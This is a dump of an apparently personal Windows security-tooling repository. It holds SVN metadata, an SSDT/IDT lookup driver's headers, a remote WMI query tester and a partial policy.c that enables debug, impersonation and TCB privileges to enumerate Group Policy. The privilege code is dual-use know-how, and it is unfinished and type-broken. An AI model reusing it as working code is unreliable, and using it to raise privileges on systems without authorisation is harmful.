2009-12-16T13:44:40.517816Z 174 | 1 175 | hammackj 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 261 198 | 199 | makefile 200 | file 201 | 202 | 203 | 204 | 205 | 2009-12-28T13:49:46.841198Z 206 | 277517b4ea054b293c4ed298ff2c79eb 207 | 2009-12-16T13:44:40.517816Z 208 | 1 209 | hammackj 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 267 232 | 233 | -------------------------------------------------------------------------------- /examples/ssdt_idt/SYS/.svn/text-base/lookup.h.svn-base: -------------------------------------------------------------------------------- 1 | #define IOCTL_TYPE 40000 2 | 3 | #define IOCTL_GET_MODULE_NAME \ 4 | CTL_CODE( IOCTL_TYPE, 0x900, METHOD_BUFFERED, FILE_ANY_ACCESS ) 5 | 6 | #define IOCTL_GET_SERVICE_TABLE \ 7 | CTL_CODE( IOCTL_TYPE, 0x902, METHOD_BUFFERED , FILE_ANY_ACCESS ) 8 | 9 | #define IOCTL_GET_INT_TABLE \ 10 | CTL_CODE( IOCTL_TYPE, 0x903, METHOD_BUFFERED , FILE_ANY_ACCESS ) 11 | 12 | #define DRIVER_FUNC_INSTALL 0x01 13 | #define DRIVER_FUNC_REMOVE 0x02 14 | 15 | #define DRIVER_NAME "lookup" -------------------------------------------------------------------------------- /examples/ssdt_idt/SYS/.svn/text-base/lookup.rc.svn-base: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | 5 | #define VER_FILETYPE VFT_DRV 6 | #define VER_FILESUBTYPE VFT2_DRV_SYSTEM 7 | #define VER_FILEDESCRIPTION_STR "Lookup Driver" 8 | #define VER_INTERNALNAME_STR "lookup.sys" 9 | 10 | #include "common.ver" 11 | -------------------------------------------------------------------------------- /examples/ssdt_idt/SYS/.svn/text-base/makefile.svn-base: -------------------------------------------------------------------------------- 1 | # 2 | # DO NOT EDIT THIS FILE!!! Edit .\sources. if you want to add a new source 3 | # file to this component. This file merely indirects to the real make file 4 | # that is shared by all the driver components of the Windows NT DDK 5 | # 6 | 7 | !INCLUDE $(NTMAKEENV)\makefile.def 8 | -------------------------------------------------------------------------------- /examples/ssdt_idt/SYS/.svn/text-base/sources.svn-base: -------------------------------------------------------------------------------- 1 | TARGETNAME=lookup 2 | TARGETPATH=obj 3 | TARGETTYPE=DRIVER 4 | 5 | 6 | SOURCES=lookup.c lookup.rc 7 | -------------------------------------------------------------------------------- /examples/ssdt_idt/SYS/lookup.h: -------------------------------------------------------------------------------- 1 | #define IOCTL_TYPE 40000 2 | 3 | #define IOCTL_GET_MODULE_NAME \ 4 | CTL_CODE( IOCTL_TYPE, 0x900, METHOD_BUFFERED, FILE_ANY_ACCESS ) 5 | 6 | #define IOCTL_GET_SERVICE_TABLE \ 7 | CTL_CODE( IOCTL_TYPE, 0x902, METHOD_BUFFERED , FILE_ANY_ACCESS ) 8 | 9 | #define IOCTL_GET_INT_TABLE \ 10 | CTL_CODE( IOCTL_TYPE, 0x903, METHOD_BUFFERED , FILE_ANY_ACCESS ) 11 | 12 | #define DRIVER_FUNC_INSTALL 0x01 13 | #define DRIVER_FUNC_REMOVE 0x02 14 | 15 | #define DRIVER_NAME "lookup" -------------------------------------------------------------------------------- /examples/ssdt_idt/SYS/lookup.rc: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | 5 | #define VER_FILETYPE VFT_DRV 6 | #define VER_FILESUBTYPE VFT2_DRV_SYSTEM 7 | #define VER_FILEDESCRIPTION_STR "Lookup Driver" 8 | #define VER_INTERNALNAME_STR "lookup.sys" 9 | 10 | #include "common.ver" 11 | -------------------------------------------------------------------------------- /examples/ssdt_idt/SYS/makefile: -------------------------------------------------------------------------------- 1 | # 2 | # DO NOT EDIT THIS FILE!!! Edit .\sources. if you want to add a new source 3 | # file to this component. This file merely indirects to the real make file 4 | # that is shared by all the driver components of the Windows NT DDK 5 | # 6 | 7 | !INCLUDE $(NTMAKEENV)\makefile.def 8 | -------------------------------------------------------------------------------- /examples/ssdt_idt/SYS/sources: -------------------------------------------------------------------------------- 1 | TARGETNAME=lookup 2 | TARGETPATH=obj 3 | TARGETTYPE=DRIVER 4 | 5 | 6 | SOURCES=lookup.c lookup.rc 7 | -------------------------------------------------------------------------------- /examples/wmitester/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 41 4 | /svn/wintools/!svn/ver/82/trunk/wmitester 5 | END 6 | wmitester.suo 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 55 10 | /svn/wintools/!svn/ver/82/trunk/wmitester/wmitester.suo 11 | END 12 | wmitester.sln 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 55 16 | /svn/wintools/!svn/ver/82/trunk/wmitester/wmitester.sln 17 | END 18 | -------------------------------------------------------------------------------- /examples/wmitester/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/wmitester 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2010-01-27T18:17:31.413455Z 11 | 82 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | wmitester 30 | dir 31 | 32 | wmitester.suo 33 | file 34 | 35 | 36 | 37 | 38 | 2010-01-27T15:26:35.341000Z 39 | 56f08886de01af5e20a4d5a0e9424073 40 | 2010-01-27T18:17:31.413455Z 41 | 82 42 | hammackj 43 | has-props 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 13312 65 | 66 | wmitester.sln 67 | file 68 | 69 | 70 | 71 | 72 | 2010-01-27T14:39:28.500133Z 73 | 771329b713fe38e774e904cbc5a10803 74 | 2010-01-27T18:17:31.413455Z 75 | 82 76 | hammackj 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 917 99 | 100 | -------------------------------------------------------------------------------- /examples/wmitester/.svn/prop-base/wmitester.suo.svn-base: -------------------------------------------------------------------------------- 1 | K 13 2 | svn:mime-type 3 | V 24 4 | application/octet-stream 5 | END 6 | -------------------------------------------------------------------------------- /examples/wmitester/.svn/text-base/wmitester.sln.svn-base: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual Studio 2008 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "wmitester", "wmitester\wmitester.csproj", "{BBC28A0B-70B4-473E-AC93-43EA6D6719C6}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {BBC28A0B-70B4-473E-AC93-43EA6D6719C6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {BBC28A0B-70B4-473E-AC93-43EA6D6719C6}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {BBC28A0B-70B4-473E-AC93-43EA6D6719C6}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {BBC28A0B-70B4-473E-AC93-43EA6D6719C6}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /examples/wmitester/.svn/text-base/wmitester.suo.svn-base: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/wmitester/.svn/text-base/wmitester.suo.svn-base -------------------------------------------------------------------------------- /examples/wmitester/wmitester.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual Studio 2008 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "wmitester", "wmitester\wmitester.csproj", "{BBC28A0B-70B4-473E-AC93-43EA6D6719C6}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {BBC28A0B-70B4-473E-AC93-43EA6D6719C6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {BBC28A0B-70B4-473E-AC93-43EA6D6719C6}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {BBC28A0B-70B4-473E-AC93-43EA6D6719C6}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {BBC28A0B-70B4-473E-AC93-43EA6D6719C6}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /examples/wmitester/wmitester.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/wmitester/wmitester.suo -------------------------------------------------------------------------------- /examples/wmitester/wmitester/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 51 4 | /svn/wintools/!svn/ver/82/trunk/wmitester/wmitester 5 | END 6 | wmitester.csproj 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 68 10 | /svn/wintools/!svn/ver/82/trunk/wmitester/wmitester/wmitester.csproj 11 | END 12 | Program.cs 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 62 16 | /svn/wintools/!svn/ver/82/trunk/wmitester/wmitester/Program.cs 17 | END 18 | -------------------------------------------------------------------------------- /examples/wmitester/wmitester/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/wmitester/wmitester 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2010-01-27T18:17:31.413455Z 11 | 82 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | wmitester.csproj 30 | file 31 | 32 | 33 | 34 | 35 | 2010-01-27T15:05:51.264606Z 36 | ff35a4be6e4178e9fc5216d1d19f0bd8 37 | 2010-01-27T18:17:31.413455Z 38 | 82 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 3653 62 | 63 | Program.cs 64 | file 65 | 66 | 67 | 68 | 69 | 2010-01-27T15:09:00.498597Z 70 | 91c43f9ad7099fb2d555d1468f9bf314 71 | 2010-01-27T18:17:31.413455Z 72 | 82 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 1342 96 | 97 | Properties 98 | dir 99 | 100 | -------------------------------------------------------------------------------- /examples/wmitester/wmitester/.svn/text-base/Program.cs.svn-base: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Windows.Forms; 5 | using System.Management; 6 | using System.Management.Instrumentation; 7 | 8 | namespace wmitester 9 | { 10 | static class Program 11 | { 12 | /// 13 | /// The main entry point for the application. 14 | /// 15 | [STAThread] 16 | static void Main() 17 | { 18 | ConnectionOptions options = new ConnectionOptions(); 19 | 20 | ManagementScope scope = new ManagementScope("\\\\vejxamcr2dc604\\root\\cimv2", options); 21 | 22 | scope.Connect(); 23 | 24 | ObjectQuery query = new ObjectQuery("SELECT * FROM Win32_OperatingSystem"); 25 | 26 | ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query); 27 | 28 | ManagementObjectCollection queryCollection = searcher.Get(); 29 | 30 | foreach (ManagementObject m in queryCollection) 31 | { 32 | Console.WriteLine("Computer Name: {0}", m["csname"]); 33 | Console.WriteLine("Windows Directory: {0}", m["WindowsDirectory"]); 34 | Console.WriteLine("Operating System: {0}", m["Caption"]); 35 | Console.WriteLine("Version: {0}", m["Version"]); 36 | Console.WriteLine("Manufacturer: {0}", m["Manufacturer"]); 37 | } 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /examples/wmitester/wmitester/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Windows.Forms; 5 | using System.Management; 6 | using System.Management.Instrumentation; 7 | 8 | namespace wmitester 9 | { 10 | static class Program 11 | { 12 | /// 13 | /// The main entry point for the application. 14 | /// 15 | [STAThread] 16 | static void Main() 17 | { 18 | ConnectionOptions options = new ConnectionOptions(); 19 | 20 | ManagementScope scope = new ManagementScope("\\\\vejxamcr2dc604\\root\\cimv2", options); 21 | 22 | scope.Connect(); 23 | 24 | ObjectQuery query = new ObjectQuery("SELECT * FROM Win32_OperatingSystem"); 25 | 26 | ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query); 27 | 28 | ManagementObjectCollection queryCollection = searcher.Get(); 29 | 30 | foreach (ManagementObject m in queryCollection) 31 | { 32 | Console.WriteLine("Computer Name: {0}", m["csname"]); 33 | Console.WriteLine("Windows Directory: {0}", m["WindowsDirectory"]); 34 | Console.WriteLine("Operating System: {0}", m["Caption"]); 35 | Console.WriteLine("Version: {0}", m["Version"]); 36 | Console.WriteLine("Manufacturer: {0}", m["Manufacturer"]); 37 | } 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /examples/wmitester/wmitester/Properties/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 62 4 | /svn/wintools/!svn/ver/82/trunk/wmitester/wmitester/Properties 5 | END 6 | AssemblyInfo.cs 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 78 10 | /svn/wintools/!svn/ver/82/trunk/wmitester/wmitester/Properties/AssemblyInfo.cs 11 | END 12 | Settings.settings 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 80 16 | /svn/wintools/!svn/ver/82/trunk/wmitester/wmitester/Properties/Settings.settings 17 | END 18 | Settings.Designer.cs 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 83 22 | /svn/wintools/!svn/ver/82/trunk/wmitester/wmitester/Properties/Settings.Designer.cs 23 | END 24 | Resources.resx 25 | K 25 26 | svn:wc:ra_dav:version-url 27 | V 77 28 | /svn/wintools/!svn/ver/82/trunk/wmitester/wmitester/Properties/Resources.resx 29 | END 30 | Resources.Designer.cs 31 | K 25 32 | svn:wc:ra_dav:version-url 33 | V 84 34 | /svn/wintools/!svn/ver/82/trunk/wmitester/wmitester/Properties/Resources.Designer.cs 35 | END 36 | -------------------------------------------------------------------------------- /examples/wmitester/wmitester/Properties/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/wmitester/wmitester/Properties 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2010-01-27T18:17:31.413455Z 11 | 82 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | AssemblyInfo.cs 30 | file 31 | 32 | 33 | 34 | 35 | 2010-01-27T14:39:27.859508Z 36 | 16d7862ba3106557f954f78649168f86 37 | 2010-01-27T18:17:31.413455Z 38 | 82 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 1430 62 | 63 | Settings.settings 64 | file 65 | 66 | 67 | 68 | 69 | 2010-01-27T14:39:27.718883Z 70 | 8c0f00d7d9b0046695a0255f1b11b061 71 | 2010-01-27T18:17:31.413455Z 72 | 82 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 249 96 | 97 | Settings.Designer.cs 98 | file 99 | 100 | 101 | 102 | 103 | 2010-01-27T14:39:27.906383Z 104 | 66ae45e77a333c2969b1635c08f59ce3 105 | 2010-01-27T18:17:31.413455Z 106 | 82 107 | hammackj 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 1094 130 | 131 | Resources.resx 132 | file 133 | 134 | 135 | 136 | 137 | 2010-01-27T14:39:27.718883Z 138 | 0cd8c971317d19bbed44757809bcb92b 139 | 2010-01-27T18:17:31.413455Z 140 | 82 141 | hammackj 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 5612 164 | 165 | Resources.Designer.cs 166 | file 167 | 168 | 169 | 170 | 171 | 2010-01-27T14:39:27.890758Z 172 | 4dab778766fbfa1834e92fb8946f7a19 173 | 2010-01-27T18:17:31.413455Z 174 | 82 175 | hammackj 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 2847 198 | 199 | -------------------------------------------------------------------------------- /examples/wmitester/wmitester/Properties/.svn/text-base/AssemblyInfo.cs.svn-base: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("wmitester")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("wmitester")] 13 | [assembly: AssemblyCopyright("Copyright © 2010")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("6fd18013-ef47-4cf6-bcdb-0d5fbcd89d8b")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /examples/wmitester/wmitester/Properties/.svn/text-base/Settings.Designer.cs.svn-base: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:2.0.50727.3603 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace wmitester.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /examples/wmitester/wmitester/Properties/.svn/text-base/Settings.settings.svn-base: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/wmitester/wmitester/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("wmitester")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("wmitester")] 13 | [assembly: AssemblyCopyright("Copyright © 2010")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("6fd18013-ef47-4cf6-bcdb-0d5fbcd89d8b")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /examples/wmitester/wmitester/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:2.0.50727.3603 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace wmitester.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /examples/wmitester/wmitester/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /exeinfo/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 39 4 | /svn/wintools/!svn/ver/18/trunk/exeinfo 5 | END 6 | Makefile 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 48 10 | /svn/wintools/!svn/ver/18/trunk/exeinfo/Makefile 11 | END 12 | Makefile.win32 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 54 16 | /svn/wintools/!svn/ver/18/trunk/exeinfo/Makefile.win32 17 | END 18 | exeinfo.c 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 49 22 | /svn/wintools/!svn/ver/18/trunk/exeinfo/exeinfo.c 23 | END 24 | -------------------------------------------------------------------------------- /exeinfo/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/exeinfo 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-27T03:36:48.785579Z 11 | 18 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | Makefile 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:46.153668Z 36 | d93f0acdce8c5eb8971dc1b068677ccd 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 226 62 | 63 | Makefile.win32 64 | file 65 | 66 | 67 | 68 | 69 | 2009-12-28T13:49:46.153668Z 70 | 85bbe4307f425663957288e6c901efee 71 | 2009-12-16T13:44:40.517816Z 72 | 1 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 246 96 | 97 | exeinfo.c 98 | file 99 | 100 | 101 | 102 | 103 | 2009-12-28T13:49:46.153668Z 104 | 087a7e782f688a590f555571785fa467 105 | 2009-12-16T13:44:40.517816Z 106 | 1 107 | hammackj 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 7344 130 | 131 | -------------------------------------------------------------------------------- /exeinfo/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 3 | LINKS=/link user32.lib kernel32.lib version.lib /OUT:exeinfo.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: exeinfo 6 | 7 | exeinfo: exeinfo.c 8 | $(CC) $(CFLAGS) exeinfo.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /exeinfo/.svn/text-base/Makefile.win32.svn-base: -------------------------------------------------------------------------------- 1 | CC=i386-mingw32-gcc 2 | CFLAGS=-I/usr/i386-mingw32/include 3 | LDFLAGS=-L/usr/i386-mingw32/lib -lversion -o exeinfo.exe 4 | 5 | all: exeinfo.exe 6 | 7 | exeinfo.exe: exeinfo.c 8 | $(CC) -o exeinfo.c $(CFLAGS) exeinfo.c $(LDFLAGS) 9 | 10 | clean: 11 | rm *.exe; rm *.obj 12 | -------------------------------------------------------------------------------- /exeinfo/Makefile: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 3 | LINKS=/link user32.lib kernel32.lib version.lib /OUT:exeinfo.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: exeinfo 6 | 7 | exeinfo: exeinfo.c 8 | $(CC) $(CFLAGS) exeinfo.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /exeinfo/Makefile.win32: -------------------------------------------------------------------------------- 1 | CC=i386-mingw32-gcc 2 | CFLAGS=-I/usr/i386-mingw32/include 3 | LDFLAGS=-L/usr/i386-mingw32/lib -lversion -o exeinfo.exe 4 | 5 | all: exeinfo.exe 6 | 7 | exeinfo.exe: exeinfo.c 8 | $(CC) -o exeinfo.c $(CFLAGS) exeinfo.c $(LDFLAGS) 9 | 10 | clean: 11 | rm *.exe; rm *.obj 12 | -------------------------------------------------------------------------------- /gpoenum/policy.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include /*Windows 2000*/ 5 | 6 | #pragma comment(lib, "Userenv.lib") 7 | #pragma comment(lib, "Advapi32.lib") 8 | 9 | void SetPrivilege(DWORD privilege); 10 | 11 | int _tmain(int argc, TCHAR *argv[]) 12 | { 13 | PGROUP_POLICY_OBJECT *pGPOList; 14 | PHANDLE *TokenHandle; 15 | GUID guid = { 0x1A6364EB, 0x776B4120, 0xADE1B63A, 0x406A76B5 }; 16 | 17 | SetPrivilege(SE_DEBUG_NAME); 18 | SetPrivilege(SE_IMPERSONATE_NAME); 19 | SetPrivilege(SE_TCB_NAME); 20 | 21 | if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &TokenHandle)) 22 | { 23 | _tprintf(TEXT("[!] Unable to open the current process and steal the token, Returned error %d\n"), GetLastError()); 24 | } 25 | 26 | /*if(!GetGPOList(TokenHandle, NULL, NULL, NULL, 0, &pGPOList)) 27 | { 28 | _tprintf(TEXT("[!] Unable get the GPO policy, Returned error %d\n"), GetLastError()); 29 | } 30 | */ 31 | 32 | if(!GetAppliedGPOList(GPO_LIST_FLAG_MACHINE, null, null, guid, pGPOList)) 33 | { 34 | _tprintf(TEXT("[!] Unable get the Applied GPO policy, Returned error %d\n"), GetLastError()); 35 | } 36 | 37 | 38 | FreeGPOList(pGPOList); 39 | 40 | return 0; 41 | } 42 | 43 | /** 44 | * Elevate to DEBUG Privileges 45 | * 46 | * Attempts elevate to system debug privileges, if this fails or suceeds doesn't really matter 47 | * it just provides us a little bit more access to the system. 48 | * 49 | * @author Jacob Hammack 50 | */ 51 | void SetPrivilege(DWORD privilege) 52 | { 53 | HANDLE hToken; 54 | LUID debug; 55 | TOKEN_PRIVILEGES tp; 56 | 57 | if 